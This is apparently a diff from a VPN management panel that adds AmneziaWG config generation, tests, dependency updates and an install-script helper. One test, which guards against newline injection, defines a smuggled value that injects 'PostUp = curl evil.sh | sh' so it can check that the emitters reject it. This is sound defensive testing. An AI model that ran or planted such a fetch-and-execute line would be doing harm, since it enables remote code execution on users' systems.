 }
 `;
 `;

+ 92 - 0
frontend/src/test/amneziawg-conf-injection.test.ts

@@ -0,0 +1,92 @@
+import { describe, expect, it } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// A newline in a field that lands unescaped in [Interface] would inject a
+// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
+const INJECTED = 'x\nPostUp = curl evil.sh | sh';
+
+function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
+  return {
+    server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
+    clients: [
+      { email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+}
+
+describe('AmneziaWG .conf newline-injection guard', () => {
+  it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
+    const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
+    expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
+      'PrivateKey = clientPrivKey==',
+    );
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({}, { privateKey: INJECTED }),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({ primaryDns: INJECTED }, {}),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(
+      genAmneziaWGConfig({
+        settings: settingsWith({ secondaryDns: INJECTED }, {}),
+        remark: 'ok',
+        ...base,
+      }),
+    ).toBe('');
+    expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
+      '',
+    );
+  });
+
+  it('buildAmneziaWGClientConfig refuses injected fields', () => {
+    const inbound = (server: Record<string, unknown>) =>
+      ({
+        id: 1,
+        tag: 'awg-1',
+        remark: 'awg',
+        port: 51820,
+        protocol: 'amneziawg',
+        awgServer: {
+          publicKey: 'serverPubKey==',
+          jc: 4,
+          jmin: 40,
+          jmax: 100,
+          s1: 30,
+          s2: 90,
+          ...server,
+        },
+      }) as unknown as InboundOption;
+    const client = (extra: Record<string, unknown>) =>
+      ({
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: '10.8.1.2/32',
+        ...extra,
+      }) as unknown as ClientRecord;
+
+    expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
+      'PrivateKey = clientPrivKey==',
+    );
+    expect(
+      buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
+    ).toBe('');
+    expect(
+      buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
+    ).toBe('');
+    expect(
+      buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
+    ).toBe('');
+  });
+});

+ 115 - 0
frontend/src/test/amneziawg-conf-parity.test.ts

@@ -0,0 +1,115 @@
+import { describe, it, expect } from 'vitest';
+
+import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
+import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
+import type { ClientRecord, InboundOption } from '@/hooks/useClients';
+
+// wg-quick(8)'s own peer order. The panel emits an AmneziaWG .conf from three
+// independent places (this file's two, plus amneziaWGConfigText in Go), and a
+// user comparing a subscription link against a downloaded .conf sees any drift
+// between them immediately.
+const PEER_FIELD_ORDER = [
+  'PublicKey',
+  'PresharedKey',
+  'AllowedIPs',
+  'Endpoint',
+  'PersistentKeepalive',
+];
+
+function peerFields(conf: string): string[] {
+  const peerBlock = conf.slice(conf.indexOf('[Peer]'));
+  return peerBlock
+    .split('\n')
+    .map((line) => line.split('=')[0].trim())
+    .filter((key) => PEER_FIELD_ORDER.includes(key));
+}
+
+describe('AmneziaWG .conf emitters agree on the peer block', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      primaryDns: '8.8.8.8',
+      secondaryDns: '',
+      mtu: 1420,
+      jc: 4,
+      jmin: 40,
+      jmax: 100,
+      s1: 30,
+      s2: 90,
+      s3: 0,
+      s4: 0,
+      h1: '',
+      h2: '',
+      h3: '',
+      h4: '',
+    },
+    clients: [
+      {
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: ['10.8.1.2/32'],
+        preSharedKey: 'psk==',
+        keepAlive: 25,
+      },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+
+  const linkConf = genAmneziaWGConfig({
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-peer-1',
+    peerIndex: 0,
+  });
+
+  const client = {
+    email: 'peer-1',
+    privateKey: 'clientPrivKey==',
+    allowedIPs: '10.8.1.2/32',
+    preSharedKey: 'psk==',
+    keepAlive: 25,
+  } as unknown as ClientRecord;
+  const inbound = {
+    id: 1,
+    tag: 'awg-1',
+    remark: 'awg',
+    port: 51820,
+    protocol: 'amneziawg',
+    awgServer: settings.server,
+  } as unknown as InboundOption;
+  const clientsPageConf = buildAmneziaWGClientConfig(client, inbound, 'awg.example.test');
+
+  it('the share-link emitter uses the wg-quick peer order', () => {
+    expect(peerFields(linkConf)).toEqual(PEER_FIELD_ORDER);
+  });
+
+  it('the clients-page emitter uses the same order', () => {
+    expect(peerFields(clientsPageConf)).toEqual(PEER_FIELD_ORDER);
+  });
+
+  it('neither emitter leaves a trailing newline, so both end on their last set field', () => {
+    expect(linkConf.endsWith('\n')).toBe(false);
+    expect(clientsPageConf.endsWith('\n')).toBe(false);
+  });
+
+  it('an unset preSharedKey drops the line in both, without disturbing the rest', () => {
+    const noPsk = {
+      ...settings,
+      clients: [{ ...settings.clients[0], preSharedKey: '' }],
+    } as AmneziawgInboundSettings;
+    const withoutPsk = genAmneziaWGConfig({
+      settings: noPsk,
+      address: 'awg.example.test',
+      port: 51820,
+      remark: 'awg-peer-1',
+      peerIndex: 0,
+    });
+    const clientWithoutPsk = { ...client, preSharedKey: '' } as unknown as ClientRecord;
+    const want = PEER_FIELD_ORDER.filter((f) => f !== 'PresharedKey');
+    expect(peerFields(withoutPsk)).toEqual(want);
+    expect(
+      peerFields(buildAmneziaWGClientConfig(clientWithoutPsk, inbound, 'awg.example.test')),
+    ).toEqual(want);
+  });
+});

+ 90 - 0
frontend/src/test/amneziawg-obfuscation.test.ts

@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest';
+
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+import { ServerSettingsSchema } from '@/generated/zod';
+
+/*
+ * Parses "lo-hi" and asserts min <= lo <= hi <= max; mirrors the bounds the
+ * Go generator's own test pins (internal/amneziawg/params_test.go), so the
+ * two generators cannot drift apart silently.
+ */
+function expectRangeWithin(value: string, min: number, max: number): [number, number] {
+  const m = /^(\d+)-(\d+)$/.exec(value);
+  expect(m, `${value} is not a lo-hi range`).not.toBeNull();
+  const lo = Number(m![1]);
+  const hi = Number(m![2]);
+  expect(lo).toBeGreaterThanOrEqual(min);
+  expect(hi).toBeLessThanOrEqual(max);
+  expect(lo).toBeLessThanOrEqual(hi);
+  return [lo, hi];
+}
+
+describe('generateAwgObfuscation', () => {
+  it('stays inside the Go generator ranges and invariants', () => {
+    for (let i = 0; i < 200; i++) {
+      const o = generateAwgObfuscation();
+
+      expect(o.jc).toBeGreaterThanOrEqual(3);
+      expect(o.jc).toBeLessThanOrEqual(6);
+      expect(o.jmin).toBeGreaterThanOrEqual(40);
+      expect(o.jmin).toBeLessThanOrEqual(89);
+      expect(o.jmax - o.jmin).toBeGreaterThanOrEqual(50);
+      expect(o.jmax - o.jmin).toBeLessThanOrEqual(250);
+      expect(o.s1 + 56).not.toBe(o.s2);
+      expect(o.s3).toBeGreaterThanOrEqual(12);
+      expect(o.s3).toBeLessThanOrEqual(55);
+      expect(o.s4).toBeGreaterThanOrEqual(12);
+      expect(o.s4).toBeLessThanOrEqual(27);
+
+      const hBounds = [o.h1, o.h2, o.h3, o.h4].map((h) => expectRangeWithin(h, 5, 2147483647));
+      for (let j = 1; j < 4; j++) {
+        expect(hBounds[j][0], 'H ranges must not overlap').toBeGreaterThan(hBounds[j - 1][1]);
+      }
+
+      expect(o.i1).toMatch(/^<r \d+>$/);
+      expect(o.i2).toBe('');
+      expect(o.i5).toBe('');
+
+      const key = atob(o.headerProtectionKey);
+      expect(key.length, 'headerProtectionKey must decode to 32 bytes').toBe(32);
+
+      expectRangeWithin(o.contentPaddingAddition, 8, 64);
+      const [, rekeyHi] = expectRangeWithin(o.rekeyAfterTime, 100, 160);
+      const [rejectLo] = expectRangeWithin(o.rejectAfterTime, 130, 310);
+      expect(
+        rejectLo,
+        'reject window must start >= 30s above the rekey window',
+      ).toBeGreaterThanOrEqual(rekeyHi + 30);
+      expectRangeWithin(o.rekeyTimeout, 3, 10);
+      expectRangeWithin(o.keepaliveTimeout, 8, 20);
+      expectRangeWithin(o.maxHandshakeAttempts, 15, 50);
+
+      expect(o.randomTrailers).toBe(true);
+      expect(o.disableCookies).toBe(true);
+    }
+  });
+
+  it('produces values the hand-written schema accepts unchanged', () => {
+    const parsed = AmneziawgServerSchema.parse({
+      ...generateAwgObfuscation(),
+      privateKey: 'p',
+      publicKey: 'P',
+    });
+    expect(parsed.headerProtectionKey).not.toBe('');
+  });
+});
+
+/*
+ * Drift guard for the three-way mirror: the hand-written AmneziawgServerSchema,
+ * the Go ServerSettings struct, and the openapigen output must agree on the
+ * field set. Comparing hand-written vs generated keys catches a field added on
+ * one side but forgotten on the other before it silently drops from configs.
+ */
+describe('AmneziawgServerSchema parity with generated ServerSettings', () => {
+  it('declares exactly the generated key set', () => {
+    const handwritten = Object.keys(AmneziawgServerSchema.shape).sort();
+    const generated = Object.keys(ServerSettingsSchema.shape).sort();
+    expect(handwritten).toEqual(generated);
+  });
+});

+ 34 - 0
frontend/src/test/amneziawg-schema-cleared.test.ts

@@ -0,0 +1,34 @@
+import { describe, expect, it } from 'vitest';
+
+import { AmneziawgServerSchema } from '@/schemas/protocols/inbound/amneziawg';
+
+// AntD InputNumber emits null when cleared; a cleared numeric field must
+// refill its schema default instead of failing validation and blocking the save.
+describe('AmneziawgServerSchema cleared numeric fields', () => {
+  it('accepts null for every InputNumber-backed field and refills the default', () => {
+    const parsed = AmneziawgServerSchema.parse({
+      subnetCidr: null,
+      jc: null,
+      jmin: null,
+      jmax: null,
+      s1: null,
+      s2: null,
+      s3: null,
+      s4: null,
+    });
+    expect(parsed.subnetCidr).toBe(24);
+    expect(parsed.jc).toBe(5);
+    expect(parsed.jmin).toBe(10);
+    expect(parsed.jmax).toBe(50);
+    expect(parsed.s1).toBe(30);
+    expect(parsed.s2).toBe(45);
+    expect(parsed.s3).toBe(10);
+    expect(parsed.s4).toBe(5);
+  });
+
+  it('keeps absent-key defaults unchanged', () => {
+    const parsed = AmneziawgServerSchema.parse({});
+    expect(parsed.subnetCidr).toBe(24);
+    expect(parsed.jc).toBe(5);
+  });
+});

+ 72 - 0
frontend/src/test/client-tunnel-allowed-ips.test.tsx

@@ -0,0 +1,72 @@
+import { describe, it, expect } from 'vitest';
+
+import {
+  parseAllowedIPsList,
+  resolveTunnelAllowedIPsByInbound,
+} from '@/pages/clients/ClientFormModal';
+
+describe('parseAllowedIPsList', () => {
+  it('splits, trims, and drops empty entries', () => {
+    expect(parseAllowedIPsList(' 10.0.0.2/32 , 10.0.0.3/32,')).toEqual([
+      '10.0.0.2/32',
+      '10.0.0.3/32',
+    ]);
+  });
+
+  it('returns an empty array for a blank string', () => {
+    expect(parseAllowedIPsList('')).toEqual([]);
+  });
+});
+
+describe('resolveTunnelAllowedIPsByInbound', () => {
+  // Regression coverage for the bug this whole feature exists to fix: a
+  // client attached to both a WireGuard and an AmneziaWG inbound must get
+  // each protocol's own address routed to its own inbound id, never the
+  // other's -- a single shared field can't represent two different
+  // addresses, which is exactly what confused wg's 10.0.0.2/32 with awg's
+  // 10.8.1.0/24 subnet in the real production bug report.
+  it('maps each protocol field to its own attached inbound id', () => {
+    const wireguardIds = new Set([7]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [7, 10],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 7: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+  });
+
+  it('omits a protocol entirely when its inbound is not among the attached ids', () => {
+    const wireguardIds = new Set([7]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [7],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 7: ['10.0.0.2/32'] });
+    expect(result).not.toHaveProperty('10');
+  });
+
+  it('returns an empty object when neither protocol is attached', () => {
+    const result = resolveTunnelAllowedIPsByInbound([3], new Set([7]), new Set([10]), ['x'], ['y']);
+    expect(result).toEqual({});
+  });
+
+  it('picks the first matching id when multiple inbounds of the same protocol are attached', () => {
+    const wireguardIds = new Set([7, 8]);
+    const amneziawgIds = new Set([10]);
+    const result = resolveTunnelAllowedIPsByInbound(
+      [8, 7, 10],
+      wireguardIds,
+      amneziawgIds,
+      ['10.0.0.2/32'],
+      ['10.8.1.21/32'],
+    );
+    expect(result).toEqual({ 8: ['10.0.0.2/32'], 10: ['10.8.1.21/32'] });
+  });
+});

+ 190 - 0
frontend/src/test/inbound-link.test.ts

@@ -2,6 +2,9 @@
 import { describe, expect, it } from 'vitest';
 import { describe, expect, it } from 'vitest';
 
 
 import {
 import {
+  amneziawgConfigFromLink,
+  genAmneziaWGConfig,
+  genAmneziaWGLink,
   genHysteriaLink,
   genHysteriaLink,
   genInboundLinks,
   genInboundLinks,
   genShadowsocksLink,
   genShadowsocksLink,
@@ -15,8 +18,17 @@ import {
   resolveAddr,
   resolveAddr,
 } from '@/lib/xray/inbound-link';
 } from '@/lib/xray/inbound-link';
 import { InboundSchema } from '@/schemas/api/inbound';
 import { InboundSchema } from '@/schemas/api/inbound';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
 import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
 
 
+// reverse of inbound-link.ts's own toBase64Url, for asserting on the
+// decoded vpn:// payload without depending on that helper being exported.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  return atob(padded);
+}
+
 // Snapshot baseline for the share-link generators. Snapshots were locked
 // Snapshot baseline for the share-link generators. Snapshots were locked
 // at the close of the legacy class migration — at that point each
 // at the close of the legacy class migration — at that point each
 // generator was verified byte-equal to the corresponding legacy Inbound
 // generator was verified byte-equal to the corresponding legacy Inbound
@@ -357,6 +369,184 @@ describe('genWireguardLink + genWireguardConfig multi allowedIPs', () => {
   });
   });
 });
 });
 
 
+// Real AmneziaVPN app's import path (confirmed by reading its own source)
+// base64url-decodes a vpn:// link, best-effort decompresses it (falling back
+// to the raw bytes for plain text, which is never qCompress-framed), then
+// parses the result as a flat "Key = Value" bag -- so genAmneziaWGLink just
+// needs to wrap genAmneziaWGConfig's already-correct .conf text.
+describe('genAmneziaWGLink vpn:// scheme', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      mtu: 1420,
+      primaryDns: '8.8.8.8',
+      secondaryDns: '8.8.4.4',
+      jc: 5,
+      jmin: 10,
+      jmax: 50,
+      s1: 30,
+      s2: 45,
+      s3: 10,
+      s4: 5,
+      h1: '',
+      h2: '',
+      h3: '',
+      h4: '',
+      i1: '',
+    },
+    clients: [
+      {
+        email: 'peer-1',
+        privateKey: 'clientPrivKey==',
+        allowedIPs: ['10.8.1.2/32'],
+        keepAlive: 25,
+      },
+    ],
+  } as unknown as AmneziawgInboundSettings;
+
+  const input = {
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-peer-1',
+    peerIndex: 0,
+  };
+
+  it('wraps the .conf text as a base64url-encoded vpn:// link, byte-identical to genAmneziaWGConfig', () => {
+    const link = genAmneziaWGLink(input);
+    expect(link.startsWith('vpn://')).toBe(true);
+
+    const decoded = fromBase64Url(link.slice('vpn://'.length));
+    expect(decoded).toBe(genAmneziaWGConfig(input));
+    expect(decoded).toContain('PrivateKey = clientPrivKey==\n');
+    expect(decoded).toContain('PublicKey = serverPubKey==\n');
+    expect(decoded).toContain('Endpoint = awg.example.test:51820');
+    // No trailing newline: the text ends on its last set field whichever that
+    // is, so the three emitters produce the same shape for the same client.
+    expect(decoded.endsWith('PersistentKeepalive = 25')).toBe(true);
+  });
+
+  it('omits every unset 3.1 field — a lone HeaderProtectionKey line would break the handshake', () => {
+    const decoded = fromBase64Url(genAmneziaWGLink(input).slice('vpn://'.length));
+    for (const absent of [
+      'I2',
+      'HeaderProtectionKey',
+      'ContentPaddingAddition',
+      'RekeyAfterTime',
+      'RekeyTimeout',
+      'RejectAfterTime',
+      'KeepaliveTimeout',
+      'MaxHandshakeAttempts',
+      'RandomTrailers',
+      'DisableCookies',
+    ]) {
+      expect(decoded).not.toContain(absent);
+    }
+  });
+
+  it('returns an empty string when the peer index has no client', () => {
+    expect(genAmneziaWGLink({ ...input, peerIndex: 5 })).toBe('');
+  });
+
+  // The subscription page's own reverse of the above: recovers a vpn://
+  // link's .conf text for the same copy/download/QR "Config" block
+  // WireGuard already gets there (wireguardConfigFromLink's AmneziaWG
+  // counterpart) -- found missing from that page in production (no
+  // download-config affordance for AmneziaWG links, unlike WireGuard's),
+  // even though every other surface in the panel (InboundInfoModal,
+  // ClientInfoModal, ClientQrModal) already had parity.
+  it('amneziawgConfigFromLink round-trips genAmneziaWGLink byte-identical to genAmneziaWGConfig', () => {
+    const link = genAmneziaWGLink(input);
+    expect(amneziawgConfigFromLink(link)).toBe(genAmneziaWGConfig(input));
+  });
+});
+
+describe('amneziawgConfigFromLink edge cases', () => {
+  it('returns an empty string for a non-vpn:// link', () => {
+    expect(amneziawgConfigFromLink('wireguard://abc')).toBe('');
+    expect(amneziawgConfigFromLink('')).toBe('');
+  });
+
+  it('returns an empty string for an unparseable vpn:// payload', () => {
+    expect(amneziawgConfigFromLink('vpn://not-valid-base64url!!!')).toBe('');
+  });
+});
+
+/*
+ * The full AmneziaWG 3.1 parameter block, pinned line-by-line and in order:
+ * the emitted client config must carry the identical block the Go server
+ * emitter writes (internal/amneziawg.writeObfuscation) or the tunnel breaks.
+ */
+describe('genAmneziaWGConfig 3.1 parameters', () => {
+  const settings = {
+    server: {
+      publicKey: 'serverPubKey==',
+      jc: 4,
+      jmin: 40,
+      jmax: 100,
+      s1: 30,
+      s2: 90,
+      s3: 20,
+      s4: 10,
+      h1: '10-2000',
+      h2: '3000-5000',
+      h3: '6000-8000',
+      h4: '9000-11000',
+      i1: '<r 64>',
+      i2: '<r 80>',
+      i3: '',
+      i4: '',
+      i5: '',
+      headerProtectionKey: 'MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+      contentPaddingAddition: '16-48',
+      rekeyAfterTime: '110-140',
+      rekeyTimeout: '4-8',
+      rejectAfterTime: '190-250',
+      keepaliveTimeout: '9-15',
+      maxHandshakeAttempts: '20-40',
+      randomTrailers: true,
+      disableCookies: true,
+    },
+    clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+  } as unknown as AmneziawgInboundSettings;
+
+  const input = {
+    settings,
+    address: 'awg.example.test',
+    port: 51820,
+    remark: 'awg-31',
+    peerIndex: 0,
+  };
+
+  it('emits every 3.1 line in the shared emitter order and round-trips through vpn://', () => {
+    const cfg = genAmneziaWGConfig(input);
+    const expectedOrder = [
+      'Jc = 4',
+      'H4 = 9000-11000',
+      'I1 = <r 64>',
+      'I2 = <r 80>',
+      'HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=',
+      'ContentPaddingAddition = 16-48',
+      'RekeyAfterTime = 110-140',
+      'RekeyTimeout = 4-8',
+      'RejectAfterTime = 190-250',
+      'KeepaliveTimeout = 9-15',
+      'MaxHandshakeAttempts = 20-40',
+      'RandomTrailers = on',
+      'DisableCookies = on',
+      '[Peer]',
+    ];
+    let pos = -1;
+    for (const line of expectedOrder) {
+      const i = cfg.indexOf(line);
+      expect(i, `missing or out-of-order: ${line}\n${cfg}`).toBeGreaterThan(pos);
+      pos = i;
+    }
+    expect(cfg).not.toContain('I3');
+    expect(amneziawgConfigFromLink(genAmneziaWGLink(input))).toBe(cfg);
+  });
+});
+
 describe('resolveAddr precedence', () => {
 describe('resolveAddr precedence', () => {
   const baseInbound = {
   const baseInbound = {
     listen: '',
     listen: '',

+ 46 - 0
frontend/src/test/link-label.test.ts

@@ -1,6 +1,8 @@
 import { describe, it, expect } from 'vitest';
 import { describe, it, expect } from 'vitest';
 
 
 import { parseLinkParts, linkMetaText } from '@/lib/xray/link-label';
 import { parseLinkParts, linkMetaText } from '@/lib/xray/link-label';
+import { genAmneziaWGLink } from '@/lib/xray/inbound-link';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 
 
 // The panel shows the subscription's remark verbatim. Per-client traffic/expiry
 // The panel shows the subscription's remark verbatim. Per-client traffic/expiry
 // info is rendered only into the body a client app imports (backend, first link
 // info is rendered only into the body a client app imports (backend, first link
@@ -40,4 +42,48 @@ describe('link-label parseLinkParts', () => {
     expect(parts?.remark).toBe('mt-inbound');
     expect(parts?.remark).toBe('mt-inbound');
     expect(parts && linkMetaText(parts)).toBe('mt-inbound:8443');
     expect(parts && linkMetaText(parts)).toBe('mt-inbound:8443');
   });
   });
+
+  // AmneziaWG's vpn:// links are base64url of a plain .conf text, not a
+  // structured URL (see inbound-link.ts's genAmneziaWGLink) -- there's no
+  // query string or #hash available, so the remark/port have to be read back
+  // out of the decoded .conf body instead. Regression test for a real report:
+  // these links were showing a generic "Vpn" tag and falling back to "Link N"
+  // instead of "AmneziaWG" + the actual remark:port, unlike every other
+  // protocol's link row.
+  it('labels an AmneziaWG vpn:// link with its decoded remark and endpoint port', () => {
+    const settings = {
+      server: {
+        publicKey: 'serverPubKey==',
+        jc: 5,
+        jmin: 10,
+        jmax: 50,
+        s1: 30,
+        s2: 45,
+        s3: 10,
+        s4: 5,
+        h1: '',
+        h2: '',
+        h3: '',
+        h4: '',
+        i1: '',
+      },
+      clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
+    } as unknown as AmneziawgInboundSettings;
+
+    // Cyrillic remark on purpose -- matches the real report, and exercises
+    // the unicode round-trip through base64url (not just plain ASCII).
+    const link = genAmneziaWGLink({
+      settings,
+      address: 'awg.example.test',
+      port: 36541,
+      remark: 'wg-Майфун',
+      peerIndex: 0,
+    });
+
+    const parts = parseLinkParts(link);
+    expect(parts?.protocol).toBe('AmneziaWG');
+    expect(parts?.remark).toBe('wg-Майфун');
+    expect(parts?.port).toBe('36541');
+    expect(parts && linkMetaText(parts)).toBe('wg-Майфун:36541');
+  });
 });
 });

+ 2 - 1
go.mod

@@ -3,6 +3,7 @@ module github.com/mhsanaei/3x-ui/v3
 go 1.27.0
 go 1.27.0
 
 
 require (
 require (
+	github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814
 	github.com/gin-contrib/gzip v1.2.6
 	github.com/gin-contrib/gzip v1.2.6
 	github.com/gin-contrib/sessions v1.1.0
 	github.com/gin-contrib/sessions v1.1.0
 	github.com/gin-gonic/gin v1.12.0
 	github.com/gin-gonic/gin v1.12.0
@@ -36,6 +37,7 @@ require (
 	gorm.io/driver/postgres v1.6.2
 	gorm.io/driver/postgres v1.6.2
 	gorm.io/driver/sqlite v1.6.0
 	gorm.io/driver/sqlite v1.6.0
 	gorm.io/gorm v1.31.2
 	gorm.io/gorm v1.31.2
+	gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0
 	pgregory.net/rapid v1.3.0
 	pgregory.net/rapid v1.3.0
 )
 )
 
 
@@ -110,6 +112,5 @@ require (
 	golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 // indirect
 	golang.zx2c4.com/wireguard v0.0.0-20260522210424-ecfc5a8d5446 // indirect
 	golang.zx2c4.com/wireguard/windows v1.0.1 // indirect
 	golang.zx2c4.com/wireguard/windows v1.0.1 // indirect
 	google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 // indirect
 	google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 // indirect
-	gvisor.dev/gvisor v0.0.0-20260122175437-89a5d21be8f0 // indirect
 	lukechampine.com/blake3 v1.4.1 // indirect
 	lukechampine.com/blake3 v1.4.1 // indirect
 )
 )

+ 2 - 0
go.sum

@@ -4,6 +4,8 @@ github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk
 github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
 github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
 github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814 h1:l2AhBD+sFycU8Im81n/bZORMxW7fWtlZJEuJ4Hh0+z0=
+github.com/amnezia-vpn/amneziawg-go/v3 v3.1.20260814/go.mod h1:YoPc6qcOZqD7TXZ1xpedD8Sx3aSKsxN05ZqEFmXDNHk=
 github.com/andybalholm/brotli v1.2.2 h1:HzTuoo2ErYQqf5qvcJInB8uvqSVxRttzkFexPWtnceM=
 github.com/andybalholm/brotli v1.2.2 h1:HzTuoo2ErYQqf5qvcJInB8uvqSVxRttzkFexPWtnceM=
 github.com/andybalholm/brotli v1.2.2/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
 github.com/andybalholm/brotli v1.2.2/go.mod h1:rzTDkvFWvIrjDXZHkuS16NPggd91W3kUSvPlQ1pLaKY=
 github.com/apernet/quic-go v0.59.1-0.20260425001925-6c6cc9bcb716 h1:J1O+xpLuJWkdYbw5JPGwBqIHs2J8tiEP7Py9lPqkN2I=
 github.com/apernet/quic-go v0.59.1-0.20260425001925-6c6cc9bcb716 h1:J1O+xpLuJWkdYbw5JPGwBqIHs2J8tiEP7Py9lPqkN2I=

+ 16 - 1
install.sh

@@ -1411,12 +1411,27 @@ _install_xui_service_unit() {
     return 0
     return 0
 }
 }
 
 
+# resolve_latest_tag prints the latest stable release tag. It prefers the web
+# releases/latest redirect, which is not subject to the unauthenticated API's
+# 60 req/h-per-IP limit that trips shared CI/CGNAT addresses (the install then
+# fails with "Failed to fetch x-ui version"), and falls back to the API.
+resolve_latest_tag() {
+    local url tag
+    url=$(curl -sSLI -o /dev/null -w '%{url_effective}' --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://github.com/MHSanaei/3x-ui/releases/latest" 2>/dev/null)
+    tag=${url##*/tag/}
+    if [[ "$tag" != "$url" && -n "$tag" && "$tag" != "latest" ]]; then
+        echo "$tag"
+        return 0
+    fi
+    curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/'
+}
+
 install_x-ui() {
 install_x-ui() {
     cd ${xui_folder%/x-ui}/
     cd ${xui_folder%/x-ui}/
 
 
     # Download resources
     # Download resources
     if [ $# == 0 ]; then
     if [ $# == 0 ]; then
-        tag_version=$(curl -Ls --retry 5 --retry-delay 3 --connect-timeout 15 --max-time 60 "https://api.github.com/repos/MHSanaei/3x-ui/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+        tag_version=$(resolve_latest_tag)
         if [[ ! -n "$tag_version" ]]; then
         if [[ ! -n "$tag_version" ]]; then
             echo -e "${red}Failed to fetch x-ui version, it may be due to GitHub API restrictions, please try it later${plain}"
             echo -e "${red}Failed to fetch x-ui version, it may be due to GitHub API restrictions, please try it later${plain}"
             exit 1
             exit 1

+ 164 - 0
internal/amneziawg/instance.go

@@ -0,0 +1,164 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
